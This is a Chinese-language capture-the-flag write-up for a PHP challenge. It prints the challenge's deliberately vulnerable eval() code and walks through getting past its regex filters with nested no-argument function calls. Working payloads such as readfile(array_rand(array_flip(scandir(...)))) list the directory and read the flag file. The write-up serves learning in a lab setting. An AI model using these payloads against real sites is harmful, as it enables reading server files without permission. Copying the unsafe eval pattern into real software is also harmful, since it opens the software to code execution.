首先打开链接,什么都没有发现。
用了dirseach.py和御剑试了试,都没有扫出来,网上看了看其他大佬的writeup,都没有说清楚如何得知.git文件源码泄露。(我菜,暂时还不懂)。大佬只说是通过git扫描工具扫描发现index.php,那我们也继续吧。
查看源码
<?php include "flag.php"; echo "flag在哪里呢?<br>"; if(isset($_GET[‘exp‘])){ if (!preg_match(‘/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i‘, $_GET[‘exp‘])) { if(‘;‘ === preg_replace(‘/[a-z,_]+\((?R)?\)/‘, NULL, $_GET[‘exp‘])) { if (!preg_match(‘/et|na|info|dec|bin|hex|oct|pi|log/i‘, $_GET[‘exp‘])) { // echo $_GET[‘exp‘]; @eval($_GET[‘exp‘]); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>
需要以GET形式传入一个名为exp的参数。如果满足条件会执行这个exp参数的内容。不过过滤了一堆东西,每次看到这个函数我就烦,
if (!preg_match(‘/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i‘, $_GET[‘exp‘])) 过滤了常用的几个伪协议,不能以伪协议读取文件。
if(‘;‘ === preg_replace(‘/[a-z,_]+\((?R)?\)/‘, NULL, $_GET[‘exp‘])) 将参数替换为null在判断与;是否相等。(?R)引用当前表达式,后面加了?递归调用。说明只能用无参函数去绕过。
正则匹配掉了et/na/info等关键字,很多函数都用不了。
var_dump:是PHP中的调试函数,用于判断一个变量的类型与长度,并输出变量的数值。用var_dump打印所有的对象,可以查看对象内部的数据结构;
scandir:列出 images 目录中的文件和目录;
current:输出数组中的当前元素的值,默认取第一个值;
localeconv(): 函数返回一包含本地数字及货币格式信息的数组。
首先构造 var_dump(scandir(current(localeconv())));
接着读取flag。
第一种方法:?exp=readfile(array_rand(array_flip(scandir(current(localeconv())))));
array_rand() 函数从数组中随机选出一个或多个元素,并返回。
array_flip() 函数用于反转/交换数组中的键名和对应关联的键值。
我们可以使用这两个函数不断刷新,多读取几次,也可以得到flag。
第二种方法:?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
或者?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
show_source和highlight_file函数都是高亮显示,相同的作用。